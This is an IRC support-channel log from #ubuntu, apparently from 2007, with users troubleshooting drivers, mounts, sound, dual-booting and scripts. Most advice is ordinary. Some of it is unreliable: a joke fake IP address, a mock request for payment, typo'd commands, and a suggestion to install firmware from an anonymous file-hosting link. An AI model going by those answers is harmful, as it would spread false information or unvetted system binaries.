repository of packages that cannot be included into the Ubuntu distribution for legal reasons - See http://www.medibuntu.org [01:53] rojo^: could it be the same prob as connor ? [01:53] frederic_: doubt it. You have an nvidia card, right? [01:53] ok, i have tried that on the live cd, with no result [01:54] connor, the noapci etc... bits? [01:54] rojo^: nope. motherboard video inside [01:54] can anyone tell me how to install afile with a ".sh" extension? [01:54] I don't have the nvidia-glx-new [01:54] sjhiz: chmod +x it then run it [01:54] my built-in mic stopped working [01:54] connor: during the boot sequence, hit Alt+F1 and watch the kernel messages. See whether the lockup is from a kernel panic or something else that might be disabled during boot [01:54] sjhiz: .sh = script [01:54] yeah, i have entered the acpi=off noapic after pressing f6, and the same result has occured [01:55] connor, try it in safe mode? [01:55] just type that into konsole? [01:55] Has anyone had experience with a card reader on a laptop in ubuntu? Are there drivers to use or something? [01:55] frederic_: ah hell. I thought you had an nvidia card. I'm sorry. What chipset is your video? [01:55] yes i have tried it in safe graphics mode with no result [01:55] .sh is a shell script. You can install by running the chmod =x them sh file.sh [01:55] I have to relogin into xchat [01:55] connor, 7.10? [01:55] yeah 7.10 [01:56] rojo^: need to search. don't remember. wait (thanks) [01:56] can anyone help, i cant seem to right click on my desktop, also when i try to do a sudo nautilus the bg changes to the original background === Varka_ is now known as Varka [01:56] connor: try the alternate CD if the LiveCD doesn't do it [01:56] !alternate | connor [01:56] connor: The Alternate CD (available as of Dapper) is the classical text-mode installation CD. Use it if you wish to upgrade via CD, or for an "expert" mode install. For normal installs, use the Desktop CD, which is also a "Live" CD - See also !Minimal [01:56] connor: the noapic, as far as I can tell, is more of a fix for buggy nforce bioses. So if you Alt+F1, what's the last relevant message before your system hangs? [01:56] nova_: don't sudo nautilus? [01:56] nova_: sudo nautilus is going to give the default background because it's running it as root and isn't customized because it's running as root [01:56] nova_: and don't sudo nautilus anyways ;) [01:56] connor: try booting without the quiet splash kernel options [01:57] connor, I am seeing documented issues w/ the 700m's... for sure. [01:57] I am unable to mount any DVD's in my DVDrom. CD's work just fine, but all DVDs (movie or data) fail to mount. "mount /dev/scd0" returns "mount: No Medium found" Any ideas? [01:57] connor: scguy318 for the win [01:57] rojo I may have found the problem [01:57] I tried that code and got this prompt "chmod: missing operand after `+x'" [01:57] too bad grandma's lamp doesnt come with ubuntu [01:57] the last thing it says is 'loading' [01:57] does anyone know how to open docx files in open office? [01:57] well i just tried it because i was reading on the forums the problem someone had, and it turns out i have the same problem, i sudoed just to confirm it was the same thing [01:57] it comes with xubuntu [01:57] I didn't have nvidia-glx installed at all [01:57] how do i fix the no right clicking tho? [01:57] i have tried that as well, and the same thing happened [01:58] sjhiz: chmod +x filename.sh gives you that error? [01:58] sn00zer: I don't think you can yet. You can, however, rename the docx file to a zip file, unzip it, then open the XML file contained within. [01:58] connor, you check out linux-on-laptops.com? [01:58] why won't this work?

[01:59] I have a small usb drive that used to work fine. But for some reason now that I've upgraded to Gutsy it no longer seems to be recognized and I can no longer mount the drive to read and write files on it. Anyone know how to make ubuntu be able to use it again? [02:00] !paste | spence [02:00] frederic_: if your machine is bootable at all, it's not the buggy advanced processor interrupt controller dealio I thought connor had [02:00] spence: pastebin is a service to post large texts so you don't flood the channel. The Ubuntu pastebin is at http://paste.ubuntu-nl.org (make sure you give us the URL for your paste - see also the #ubuntu channel topic) [02:00] jrib: shows false [02:00] nova_: that is why [02:00] connor, pci=noacpi on boot might do it. [02:00] how can I set up a certain file type (in this case, .pgn) to use a custom icon? if I use nautilus and do properties on one, I can change its icon, but it only takes effect on the specific item I selected, not the all with the same extension. [02:00] Adyeths: what format is it (fat16, fat32, ntfs, ext2...) [02:00] and my mistake, i meant to ask one person but thought someone would answer the second question [02:00] bazhang: ? [02:00] connor, very well might be a HAL thing thats killing yer install. [02:01] fat32 [02:01] how can i register my username [02:01] !register | richardnew33 [02:01] richardnew33: By default, only registered users can send private messages - Information about registering your Freenode nick can be found at http://freenode.net/faq.shtml#userregistration [02:01] eylisian: 20:54 < connor> yeah, i have entered the acpi=off noapic after pressing f6, and the same result has occured [02:01] eep, i need some help.. my sound was working and then it stopped [02:01] ok, im not sure what HAL is...? [02:01] rojo^, different option. [02:01] when i click ''test'' next to the sound drivers, it makes the beeping noise [02:01] it used to work flawlessly in an earlier version of ubuntu. (6.10 for sure... I believe it worked ok in 7.04 as well) [02:01] hal = hardware abstraction layer [02:01] but i'm not getting sound [02:01] rojo^: my pc is bootable. I just would like to (test might have) 3d desktop on it. [02:02] jrib: thanks i dont understand how this would be changed if i didnt change it [02:02] connor, hardware daemon. [02:02] Anyone have sudden trouble with pidgin? It worked fine yesterday, I came home from work tonight, kicked it off and it won't start. [02:02] nobody's got an answer for me huh? [02:02] k well [02:02] dmorfe !tab [02:02] nova_: use gconf-editor [02:02] im in ubuntu now [02:02] not really a hardware daemon as it basically just deals with removable media which is only a small part of "hardware" [02:02] where did you tell me to look, jrib? [02:02] ripdisk: you've given absolutely no helpful information re: your hardware. [02:03] jrib: now that i check the show_desktop option it still wont let me right click, do i need to restart? [02:03] bruenig, so it a 'small hardware daemon' waiting to add and remove things. [02:03] frederic_: that URL you pasted me says "Graphics - n/a" [02:03] nova_: start an instance of nautilus [02:03] does anyone know the wiki page that shows how to debug removable devices? [02:03] jrib: thank you, its not at http://paste.ubuntu-nl.org/46183/ [02:03] i'm not sure, bef, but i know the SiS Sl7012 worked earlier [02:03] hardware abstraction layer is probably the best description [02:04] Adyeths: do other usb sticks work? [02:04] if anything is the hardware daemon, that would be udev [02:04] spence: your if's look strange, you sure that syntax works for dash? [02:04] ripdisk: probably if it responds to the driver test then it's some software setting and not a hw malfunction anyway, so that's atleast good news lol [02:04] frederic_ and Shadow147: afk. Wife needs my help. [02:04] yeah [02:04] jrib: this might seem like a dumb question but, any idea on how this can occur on its own, maybe another app disabling it? [02:04] i'm not used ot linux [02:04] to* [02:04] I don't have any other ones. [02:05] i used BSD for awhile but nothing was supported [02:05] anyway [02:05] yeah, it was working [02:05] jrib: syntax lifted from other scripts in cron.* folders... but your guess is as good as mine... [02:05] and then it just stopped [02:05] any suggestions? [02:05] nova_: possible (I don't know of one that does it) [02:05] spence: well what happens when you run your script? [02:05] and I know its not the card thats the problem. [02:05] i just got a bunch of copies of something to download. any idea what that is about? --> DCC RECV mirc.ini to Barbecue aborted. [02:06] the usb drive I mean. [02:06] never! [02:06] oh ok. I'm going [02:06] musashi: just spam--avoid [02:06] spence: and my scripts in cron.d seem to have [] around the conditions [02:06] aside from running the alternate CD to do the install, there arent any other suggestions to fix the install [02:06] jrib: thanks for the help [02:06] bef: yous till here [02:06] ? [02:06] you still here* [02:07] jrib: it doesn't rsync the changes, yet i can take the same rsync line out of the script and run it in a terminal and it runs fine [02:07] nova_: no problem [02:07] bazhang, kind of what i though but never saw it an ubuntu channel [02:07] ripdisk: yes. [02:07] still having trouble with opening the .sh I think my problem may be my coding ignorance. [02:07] bef: do you know of anything for me to try? [02:07] jrib: of course, its not in script format.... [02:07] connor, you can look in the machine bios for things to turn off. No answers in either of the links eh? [02:07] bazhang, thanks for the confirmation [02:07] spence: hmm? [02:07] ripdisk: regrettably no, maybe if it was a specific hw problem i could help =/ sorry. [02:07] ok [02:07] musashi: no worries :} [02:08] not really, i have tried turning off the LAN controller in the BIOS, but that has not worked either [02:08] dm [02:08] I need to install Windows Xp on this Ubunt machine [02:08] anyone else available to help me with my sound problems?

[02:09] please help [02:09] hi everyone, i am having problems installing the binary nvidia drivers... [02:09] jrib: here's a script pulled from feisty (stock script): http://paste.ubuntu-nl.org/46184/ [02:09] zetheroo: have you considered vmware? [02:09] zetheroo: windows doesn't recognize linux partitions [02:09] dm [02:09] John_R: I need to install the Windows XP drivers for my hardware [02:09] zetheroo: linux will recognise windows partitions though [02:09] zetheroo: or virtualbox [02:10] virtualbox is easier for the novice to use [02:10] zetheroo: so you need to install windows first otherwise it gets confused [02:10] i use xp for web development in a virtual machine, it works great. latency is almost 0 [02:10] lol [02:10] I have cerated a FAT32 partition in Gparted.... why is Windows XP not liking it? [02:10] spence: space before ;? [02:10] why dont you just use gedit and firefox [02:10] jrib: seems that my format is similar, but doesn't function properly, gotta be something with variables... its drivin' me crazy... [02:10] zetheroo: it can't understand the MBR [02:10] netobjects fusion and photoshop [02:10] i'm having a problem with my sound, it was working with the SiS Si7012 driver, and when i click ''test'' in the options, it plays the beep.. but i can't play any music [02:10] john_r: ? [02:10] those are the only 2 things that kkeep me using xp [02:10] jrib: ok, i'm game, i'll give it a shot... brb [02:10] surabaya [02:11] John_R: then you dont need windows :) linux has everything you need [02:11] amason_: but I was told that Windows Xp would just overwrite it [02:11] zetheroo: yes it [02:11] will [02:11] NOF and photoshop didnt seem to like wine [02:11] amason_: so why does it not do that? [02:11] john_r: nof? [02:11] netobjects fusion [02:11] its an html editor [02:11] do I need to put the FAT32 partition before the ext3 one? [02:11] zetheroo: i don't know ...this is an ubuntu support channel. try #windows [02:12] got a ton of templates for premade sites, it is good for fire and forget sites [02:12] ha [02:12] connor, I would grab the alt cd and try it. i would also try another distro as well, maybe Knoppix, just to see if it boots and what you can learn about it through dmesg. [02:12] zetheroo: why FAT32? [02:12] mneptok: why not? [02:12] john_r: you means its drag n drop wysiwyg? html editors are basically gedit...text editors with line numbering and code colouring...did you know gedit has a snippet system used via smartwords in the document? [02:12] zetheroo: whoevr says "go to #whatever" doesnt know and doesnt like to be reminded that they don't know [02:12] zetheroo: it's deprecated and ugly? [02:13] connor, systemrescuecd can be helpful as well for diagnosing hardware issues. [02:13] John_R: i admited that i didn't know [02:13] zetheroo: FAT32 is a great filesystem. if this is 1994. ;) [02:13] john_r: with gedit you can do the same [02:13] John_R: don't own a windows box so i can't help. [02:13] mneptok: look ... I know... but it should still work and that all I need it to do [02:13] ok, ill try that, Thanks for all of your help!! [02:13] uh.... guys how did I turn on mouse keys in keyboard accessibility? How can I turn it off when all the options in the dialog box are greyed out? [02:13] rojo^: here am I again ... still no 3d :( >> what else ? ( c ) lol [02:13] but i thought that people in #windows might know [02:13] zetheroo: install windows xp first on the primary partition [02:13] i'm having a problem with my sound, it was working with the SiS Si7012 driver, and when i click ''test'' in the options, it plays the beep.. but i can't play any music [02:13] zetheroo: if you want a common partition to use between Windows and Liux, i suggest a very large /home with the ext3 driver installed in Windows. [02:13] then install linux on the second partition [02:14] grub will do the rest [02:14] he left [02:14] anyone got geforce mx440 with nvidia drivers? [02:14] oops [02:14] !anyone | noonah [02:14] noonah: A large amount of the first questions asked in this channel start with "Does anyone/anybody..." Why not ask your next question (the real one) and find out? [02:14] ripdisk: (have try to upper sound volume ?) [02:14] Anyone here run xubuntu, and have any opinoins on it regarding differences in functionality/performance to that of normal ubuntu? [02:14] Adyeths: what brand, how many partitions? [02:15] haha [02:15] I also need to install Windows XP on my Ubuntu box [02:15] seems nvidia and ubuntu are not lovers ... [02:15] jsoftw: it has lower system requirements [02:15] john_r: only reason i use windows is becuase 1- wow, 2- dual screen...but no longer due to dual screen as i now have my feisty setup running dual screen for all my web dev....i am heavily into prototype and mootools. [02:15] is there a good how-to on that? [02:15] jsoftw: personally, I would install Ubuntu and then just install xfce4 [02:15] noonah: there's been quite a bit of success running WoW on Wine [02:15] Serena: want a link? [02:15] !dualboot > serena (read the private message from ubotu) [02:15] frederic___ yeah, i've tried to turn the volume up lol [02:15] jsoftw: lower overhead with xubuntu, but the shell integration isnt all that. ubuntu-desktop is pretty slick [02:15] jsoftw: much faster than ubuntu, but also lighter on functions [02:15] noonah: you may wish to check it out if you haven't [02:15] Serena: ask google .. [02:16] Serena: is Ubuntu already installed? [02:16] yes [02:16] scguy318: i know , i did get it going, but only at 3fps [02:16] Serena: and you now want to install XP? is there a free partition? [02:16] * eylisian see's Serena re-installing Ubuntu. [02:16] Serena: or unpartitioned space? [02:17] no [02:17] scguy318: my system aint up to emulation or superimposed funtions w/e [02:17] I installed Ubuntu on the entire HDD [02:17] jrib: still no go... [02:17] noonah: so ... why are you there ? microsoft' people ain't abble to help you or is the cost of their help much too much for you ? [02:17] i cant install xresprobe [02:17] noonah: define lighter on functions.. like surely it has all the same applications and what not available? [02:17] can I just resize the HDD and make a new partition? [02:17] Serena: then things will be difficult. not impossible, but a re-installation is in your future. [02:17] spence: what gets sent to your /var/log/syslog? [02:17] John_R: what do you mean the shell intergration...? [02:17] jrib: reason i ask if anyone has geforce mx440 with biinary drivers...is becuase i tried to install them...i reboot and X fails [02:18] foldingstock: you recon? [02:18] <[alex]> Hi! I don't have access to a CD burner at the moment, but I have an installation of Debian 4.0r1 on a 2gb partition at the end of my hard drive. Is it possible to install Ubuntu from within Debian (preferably without even modifying the Debian partition)? [02:18] * frederic___ will never understand people happy with m$ products ... [02:18] noonah: you should state that when you ask, it increases the chances you are helped. How did you install them? [02:18] jsoftw: yeah, I like a full Ubuntu system better then Xubuntu, its easier in the long run imo [02:18] <[alex]> frederic_, office really isn't that bad [02:18] jsoftw: ok one thing that annoys me about xubuntu...lack of network volume handling [02:18] * [alex] ducks [02:18] jsoftw: personally, i will only use Xubuntu on machines that just *can't* run GNOME. but i say this as a GNOME Foundation member, so i'm not unbiased. ;) [02:19] [alex]: you don't have to maintain access databases as part of your job :) [02:19] jsotfw: where as gnome can browse smbfs, ssh [02:19] jsoftw: if your computer can't handle the unbut installer, grab the alternate install disk for Ubuntu, install it in text mode, then just apt-get install xfce4 [02:19] i lost connection for a minute [02:19] so its the same as on ubuntu? [02:19] it keeps saying xresprobe is identified by a differnet package [02:19] did i get the name wrong? [02:19] enabling compiz and all that [02:19] jrib: cron shows as starting the hourly cruise through the scripts, my script dumps in the 'start' line but not the 'finish' line [02:19] [alex]: I guess you never tried office alternative ... even google office is better ;) [02:19] frederic___: why am i where? [02:20] <[alex]> haha, riiiight =) [02:20] foldingstock: my computer can handle the installer ok, just I dont really like gnome that much. Its just not really me. So I might do the install xfce afterwards trick. [02:20] jrib: firslty i tried the method via menus....restricted manager. [02:20] I am getting 2Gigs of memory for this wee workstation soon [02:20] today even. [02:20] spence: ’*~’ is that just the pastebin being stupid and translating '' to ’’? [02:20] jrib: then i tried envy...same result [02:21] 512 does not seem to be enough, even for freebsd + fluxbox [02:21] !envy | noonah [02:21] jrib: then i tried sudo apt-get install nvidia-glx [02:21] evening all [02:21] noonah: envy is not needed or supported. Use the Resticted Manager to install binary drivers and see « /msg ubotu binarydriver » [02:21] jrib: same result [02:21] noonah: what is the current status? [02:21] Does anyone know how to get a ventrilo server to start on boot? [02:21] no [02:21] jsoftw: or, if you have the time, look into fluxbox [02:21] jrib: let me check pastebin, it is supposed to be '*~' (ignore anything that ends in a '~'), brb... [02:22] I run fluxbox now.. it does not seem to make much difference. [02:22] jsoftw: its even lighter then xfce, but it takes some time to configure it (it can be configured to look top though) [02:22] Well, it does, but not much [02:22] I need help mounting a usb drive, i see it there and i right click>mount it but nothing happens [02:22] jrib: current status is that i have the drivers in, but i am setting xorg to "nv" [02:22] ubuntu doesn't recognise my ipod as a USB drive... :( how can i fix this? [02:22] jrib: i need to get the s-video port working [02:22] jsoftw: if you are looking for something low-overhead that emulates windows, try icewm [02:22] jrib: bet that should be in quotes, not ticks... [02:22] jrib: ia msettign xorg this way so i can talk to you [02:22] jrib: setting* [02:22] it even comes with a decent menu editor and a decent gui configurator [02:22] noonah: according to http://us.download.nvidia.com/XFree86/Linux-x86/1.0-9755/README/appendix-a.html you need nvidia legacy (should be packaged) [02:23] jrib: i type sudo apt-get install xresprobe and it says its refered to by a different name. i need this package to see my moniter refresh reate and stuff, how do i get it :( [02:23] so sudo apt-get install nvidia-glx-legacy? [02:23] So when the next ubuntu release comes out, can I upgrade via the apititude gizmo? [02:23] noonah: sure [02:23] Surely I dont have to fart around and re-install? [02:23] jsoftw: no, update manager gives you a button to click [02:23] jrib: will try now...thanks for your help [02:23] jrib: that sounds fairly complex. [02:23] :P [02:24] I need help mounting a usb drive, i see it there and i right click>mount it but nothing happens [02:24] Silmeria: what version of ubunut? [02:24] i'm having a problem with my sound, it was working with the SiS Si7012 driver, and when i click ''test'' in the options, it plays the beep.. but i can't play any music [02:24] prefers OpenOffice [02:24] 7.04 [02:25] 00:02.7 Multimedia audio controller: Silicon Integrated Systems [SiS] AC'97 Sound Controller (rev a0) [02:25] that's whati t says [02:25] is there a way to setup ubuntu 7.10 as a gateway? [02:25] when i type lspci [02:25] Silmeria: pastebin your /etc/apt/sources.list [02:25] !paste > silmeria (read the private message from ubotu) [02:25] Does anyone know how to get a ventrilo server to start on boot? [02:25] jrib: oh, do i actually need the bianry drivers to get s-video working? [02:25] so anyone have any idea how I can disable mouse keys (ie, moving the cursor using numpad keys) [02:25] noonah: I don't know [02:25] jrib: nada, same ol' nothin' [02:26] spence: change the rsync command to something else (like echo hi) so we can see if that is the issue [02:26] ghorman, I know nothing about ventrilo, but probably putting whatever commands you need to get it running into /etc/rc.local ought to work [02:27] can anyone tell me where i can choose which sound card and driver to use? [02:27] hey all, [02:27] jrib: sure, i'll dump it to the syslog too... [02:27] i think i did it right... http://paste.ubuntu-nl.org/46186/ [02:27] nematocyst: at the term i have to type in /data/ventsrv/ventrilo_srv -d [02:27] !info xresprobe | Silmeria [02:27] silmeria: xresprobe: X Resolution Probe. In component main, is optional. Version 0.4.24ubuntu8 (gutsy), package size 18 kB, installed size 96 kB [02:27] do i just drop that in the rc.local file at the end? [02:27] Anyone here find that gnome-terminal is quite laggy/buggy? [02:27] After I made my resolution smaller in ubuntu 7.10 and restarted, now I can't make it larger than 800x600, any ideas? [02:27] ghorman, before the exit 0 [02:28] Silmeria: now pastebin the output of: sudo aptitude update && sudo aptitude install xresprobe [02:28] Nematocyst: in the /etc/rc.local or /etc/init.d/rc.local? [02:28] !fixres > noname5752 (read the private message from ubotu) [02:28] ghorman, not sure. i have stuff in my /etc/rc.local for bootup. seems to work [02:28] of course.. i forgo to update xD [02:28] thank you jrib [02:29] its installed now [02:29] Nematocyst: so i should be able to just add "/data/ventsrv/ventrilo_srv -d" nothing else? [02:30] silly question, i know... how do install mysql? It's not in the list of apps I can select for installation [02:30] murphys_law: sudo apt-get install mysql-server-5 [02:30] ghorman, at minimum. you could test the return value to see if you really want to exit 0... also, if ventrillo needs permissions set after boot to work, you'd have to adjust them first, for example [02:30] spence: my next guess is that "" isn't working the way you want. #bash would probably resolve this faster by the way [02:30] I have a slightly annoying problem...How can I make an external drive stop being read-only? [02:30] JParker89: what filesystem? [02:31] odd. its not giving me moniterrange though [02:31] jrib: fat32. [02:31] ghorman: thanks, i'll try. but how come it's not listed in the Add/Remove software gnome app I can run on the desktop? [02:31] !vfat > jparker89 (read the private message from ubotu) [02:31] murphys_law: not sure, i had to install it today, you could also do a "aptitude search mysql" [02:31] im not registered, i think someone just tried to pm me [02:31] JParker89: you need to set the proper umask as a mount option [02:32] or maybe that was me >> brb ill try. [02:32] jrib: i'll check there, thanks for the advice!! [02:32] spence: make sure you mention sh is pointing to dash (may want to make it /bin/bash to test as well) [02:33] jrib: Nothing changed...Can't unmount the disk, can't write to the disk... [02:33] jrib: thanks, will do... [02:33] when I installed the nvidia-glx it disable my graphics card driver [02:33] ghorman: tnx! [02:33] JParker89: what is the output of 'groups'? [02:33] murphys_law: np [02:34] jrib: groups? [02:34] JParker89: yep, the command [02:34] !hardy [02:34] Hardy Heron is the code name for the next release of Ubuntu (8.04-LTS), due April 2008 - For more info, see: https://wiki.ubuntu.com/HardyHeron - Discussion and support in #ubuntu+1, NOT #ubuntu [02:34] jrib: root adm dialout cdrom floppy audio dip video plugdev scanner netdev lpadmin powerdev admin [02:35] JParker89: how are you trying to unmount?

[02:38] Hello everyone. Quick Question: Is there an easy way to install PHP 5.2.5 using apt-get in Ubuntu 7.10? I can't find it on any of the sources. [02:38] is there a way to change the icon that appears in the bar displaying open programs? i changed the icon in the applications list but it still appears with a generic window icon below [02:38] !Hardy [02:38] Hardy Heron is the code name for the next release of Ubuntu (8.04-LTS), due April 2008 - For more info, see: https://wiki.ubuntu.com/HardyHeron - Discussion and support in #ubuntu+1, NOT #ubuntu [02:38] Spudster: what is your reason for not using the package that is available? [02:38] Spudster, no, the current version in Gutsy is 5.2.3 [02:38] The wireless card in my laptop isn't turning on, or at least hte blue LED isn't lighting up indicating that it is on. I have installed ndiswrapper and the winxp drivers for it. I also set a manual configuration for it putting in the SSID and the network key and such. The problem is that the card isn't on, the card just isn't on... when I hit the wifi button, nothing happens. Any suggestions? [02:39] 5.2.3 reports security holes when scanned with Nessus, I was wanting to setup a secure online server without the vulnerabilities [02:39] ICM, what kinda card is it? [02:39] What is the command to delete a folder, non-recursively in the terminal? [02:39] Vad: rmdir [02:39] !cli > vad (read the private message from ubotu) [02:39] ICM, it can be for various reasons what kind of card is it did u check the net to see if ppl made this card work? [02:40] *managed [02:40] MasterShrek, it is: Network controller: Broadcom Corporation BCM4318 [AirForce One 54g] 802.11g wireless LAN Controller (rev 02) [02:40] jrib: thank you [02:40] Hi, i'm using Warty Warthog and having problems with my graphics, can someone help me? [02:40] I've gotten this card to work before in Gentoo [02:40] ICM, that card is supported in-kernel, you just need firmware for it [02:40] bernier: you need to upgrade your ubuntu [02:40] bernier: no, warty is not supported, please upgrade [02:40] jrib Ljl, sorry it was a bad joke :P [02:40] MasterShrek, I'm not really good with Linux.. if it requires recompiling the kernel.. I'd rather try something different.. [02:40] im trying to connect to the internet via a proxy server. Once i setup the ip address in Net Proxy preferences nothing happens. How do i apply the changes? [02:40] quit [02:40] bernier: heh [02:40] ICM, http://www.mediafire.com/?bqn8x4eancv download that file and extract it to /lib/firmware [02:41] ICM, no recompiling, and ill help you extract it when u get to that point [02:41] ICM, also remove ndiswrapper [02:41] how do I remove ndiswrapper? [02:41] ICM, how did you install it? [02:42] via the Synaptics.. using what was on the CD (the desktop 7.10 CD) [02:42] ICM, sudo apt-get remove ndiswrapper [02:42] I need to ad a usb drive to fstab, i have it open but what do i do to ad a device [02:42] then remove it with Synaptic? (which doesn't have a final S - that's the touchpad) [02:42] I have the fs and mount point [02:42] do i have to update anything if i edit xorg.conf? [02:42] brad016, do you know the device name? [02:42] masterloki, yes [02:42] Silmeria, just restart your xserver [02:42] i tried ctrl alt backspace but it didnt recognize my changes [02:42] What is the command to see my IP? [02:42] MasterShrek, yes [02:43] how do I get extra templates for open office? [02:43] MasterShrek: hello :) this is musashi btw. but my only options in screen resolution is 800x600 and some other low res option [02:43] MasterShrek, couldn't find the package ndiswrapper.. I think it was something to the effect of ndis-utils [02:43] im trying to get my real moniter resolution [02:43] darthjesus [02:43] brad016 put this in your fstab (making changes as nessicary): /dev/xxxx /mount/point filesystem 0 0 [02:43] Vad: 226.88.186.206 for internal ip it is ifconfig [02:44] ICM, whatever it was you have to remove it because it will conflict with the in-kernel driver [02:44] Hey. My connection speed right now is 18mbps but it should be 54. What can cause this slow down and how can I fix it? (The speed is fine under Windows, I have a dual boot with XP and Gutsy 7.10) [02:44] tigran, wireless? [02:44] MasterShrek: Yes [02:44] what kind of card and how did you set it up? [02:44] MasterShrek, i have all that, but it then identifies it as corrupt, and every device has a long code above it, whats that [02:44] MasterShrek: Built-in Atheros [02:44] MasterShrek, is there just any way I can get the ndiswrapper to work? [02:45] MasterShrek, partially why I went for ndis was somebody had extremely bad luck with the in-kernel driver [02:45] brad016, its the uuid, you can use that or the device name, device name is easier to put in if you are a human =) [02:45] MasterShrek: It worked fine before. I had to re-install Ubuntu. So I don't think its a hardware problem. [02:45] ICM, the in-kernel driver works quite well as of the 7.10 kernel [02:45] MasterShrek, okay [02:45] Massive-: hi, i'm using Konversation [02:45] how can you get a terminal to automatically be logged in a certain directory..... `getty -n -l /bin/bash 38400 tty9` works but its in the /dev directory, not home or /root [02:45] any ideas? [02:46] anyone available to answer a proxy question? [02:46] tigran, sounds like a driver issue, were both versions of ubuntu the same? [02:46] Silmeria, did you ping me? [02:46] MasterShrek: Yes [02:46] i dont konw for sure then tigran [02:46] MasterShrek, E: could not get lock /var/lib/dpkg/lock - open (11 Resource temporily unavailable).... E: Unable to lock the administration directory (/var/lib/dpkg), is another process using it? [02:46] MasterShrek: Isnt the driver MadWifi [02:46] musashi: no i probably tried to use (appanickrently on this server) your [02:46] uhh [02:46] ICM, do you ahve synaptic open? [02:46] your nick* [02:47] tigran, not exactly sure, never used an atheros card b4 [02:47] god i had this "click on tap" touchpad thing [02:47] Silmeria, oh, ok [02:47] MasterShrek: Alright. Guess I'll try to do some 'stuff' to get it to work [02:47] thanks [02:47] musashi: thats my nick like everywhere i go, lol [02:47] ICM: close any package managers you have open [02:47] Silmeria, install gsynaptics i think it allows you to turn that off =) [02:47] hey, what's the main difference between multiverse and universe sections? [02:47] Silmeria, me too but i only go ubuntu places [02:47] !repositories > ember (ember, see the private message from Ubotu) [02:48] ember: multiverse contains non-free stuff, or stuff with non-free dependencies, or stuff "heavily" patented [02:48] I am trying to mount a hard drive with a JFS partiton (/dev/sdb1) to /mnt, and I keep getting the "mount: wrong fs type, bad option, bad superblock on /dev/sdb1" message. Any ideas? This is a new 7.10 install with a rieserfs [02:49] LjL thanks for the links that helped. [02:49] fiXXXerMet, did you specify the fs type when you mounted it? [02:50] MasterShrek, sorry, its rebooting.. [02:50] i realize this is an ubuntu channel, but since nobody in #fedora can help me can i get support in here? i have an amanith compile error : http://rafb.net/p/ce4vc336.html [02:51] Hi I want to increase the available resolutions for my monitor. it's at 1440x900 and I know that card can support higher... how do I add the higher resolutions? [02:51] MasterShrek, I think I missed a command in setting up the ndis wrapper, which involved disabling the kernel ones.. I think. I just did that and rebooted to see (it was a blacklist of some sort) [02:51] or rather make them available [02:51] no such luck, though [02:51] anyone have trouble with adblock plus on 64bit install? i can't get it to offer me a subscription for blocking [02:51] TheShadowZero: did you do ./configure? [02:51] hey guys [02:51] fiXXXerMet: make sure jfsutils are installed [02:51] yes [02:51] ICM, well youll have to undo that if you are going to use the kernel version [02:51] adblock doesn't even start after restarting [02:52] musashi, worked for me no problem [02:52] MasterShrek, I don't care to use the kernel version if I can help it [02:52] scguy318, yes [02:52] TheShadowZero: hmm, not sure then [02:52] musashi, do you have the filterset.g updater addon? [02:52] jpastore, hmmm, it isn't doing anything for me. it installs, i restart and nothing [02:52] ICM, why, ndiswrapper is a crude hack, if you can avoid it why not? [02:52] Nematocyst, no, i need that? never used it before [02:52] aight ppls... ty so much.. i'm ghost [02:52] anyone have any problems with listening to sounds from 2 apps at the same time in gutsy 64bit? [02:53] musashi, I installed it like any other plugin nothing special to make it work...I have a ton of plugins installed... and I'm in 64bit also [02:53] Hi I want to increase the available resolutions for my monitor. it's at 1440x900 and I know that card can support higher... how do I make those higher resolutions available? [02:53] TheShadowZero: one thing to notice is that your make did nothing [02:54] jpastore, i just did a new install, went 64 bit, and am setting up. it installs find. just doesn't do anything. i'll try the updater thing [02:54] jk__, thats because ive "made" before [02:54] im just reproducing the error [02:54] TheShadowZero: looking at you pastebin, looks like it can't find /home/omar/temp/amanith/build/gelement.cpp [02:54] jpastore: what size is your monitor? [02:54] robdig, i realize [02:54] why don't you try launching from the command line and see if anything errors out on load. I would also go to google and see if there is a debug mode for firefox to see if anything isn't loading properly or failing [02:54] Does anyone know if it's possible to download a DVD installer, or use the CD image on a DVD? I don't have any CDs [02:54] TheShawod: getelement.cpp is in your make file ? [02:55] rojo^, 17" laptop [02:55] k3b works [02:55] if you try to burn a cd image to a dvd [02:55] rojo^, dell m90 with nvidia fx 1500 256M [02:55] nope [02:55] it will give an error and ask if you ant to auto convert on the fly [02:55] jk__, no getelement.cpp in my makefile [02:55] TheShadowZero: can you confirm that your make file is good ? [02:56] jpastore: the video card probably supports higher than 1440x900, but the display probably doesn't. The next highest widescreen resolution, I think, is 1650x1080, which I doubt a 17" display can handle [02:56] well, its like the third time ive downloaded it from the amanith official site jk__ [02:56] I've used the i386 DVD image... works well..running it here [02:56] alguien habla español? [02:56] !es | Gonxa [02:56] Gonxa: Si busca ayuda en Español por favor entre en los canales #ubuntu-es, #kubuntu-es o #edubuntu-es, allí obtendrá mas ayuda. [02:56] TheShadowZero: downloading from amanith and trying locally ... [02:57] tyan, thanks for the info [02:57] I am having trouble running "walktest" of Crystal space. Could someone please help me, if they are familiar with the problem? crystalspace.system: Failing to load map! [02:57] jk__, i dont understand [02:57] TheShadowZero: I am trying to build it [02:57] need to know what lines of code go in a xgl-startup-script for Xfce session [02:57] oh i see [02:57] does anyone know? [02:57] Nematocyst, i installed the filter.g thing but no change. adblock doesn't even add the stop sign to firefox. [02:57] rojo^, hmm if I wanted to make that an option how would I enable that? my dell xps (gen 1) could go to 1920x1200 [02:57] realize that im on fedora though...asking in here is a long shot [02:57] im having trouble understanding, how the application file structure works, im trying to install a 3rd party ap but need another ap to intall it [02:57] TheShadowZero: shound not matter [02:57] okay [02:58] rojo^, I'd be very content at 1650x1080. how do I work that out? [02:58] How do I change the attributes of a directory? [02:58] musashi, i've just always gotten it-- only other thing i can think of is perhaps you have not really restarted firefox, like another instance is minimized in another workspace or something [02:58] chmod folder doesn't seem to work [02:58] whitespy9, chmod [attributes] dir_name [02:58] whitespy9, chmod -R for recursive setting [02:58] jpastore: mail $25 to 342 evergreen tr. and a suport package hould arive shortly [02:59] Nematocyst, yeah, maybe i'll just do a full reboot. see ya. and thanks for the help [02:59] Is anyone familiar with "Crystal space'? [02:59] whitespy9, -r will change permissions recursively [02:59] what format does the path of the directory have to be? [02:59] jpastore: if you want to try to specify 1650x1080, you'd do it in the Screen section of /etc/X11/xorg.conf. Xorg automatically displays at what it thinks is the highest allowed resolution by default, though; so I have no such mode lines defined in my Xorg.conf. So, I won't be able to tell you specifically what to enter. [02:59] TheShadowZero: ah, can't be easy can it ? [03:00] TheShadowZero: according to INSTALL, you have to set a buncha env variables before building . . . [03:00] whitespy9, /path/to/directory ? [03:00] 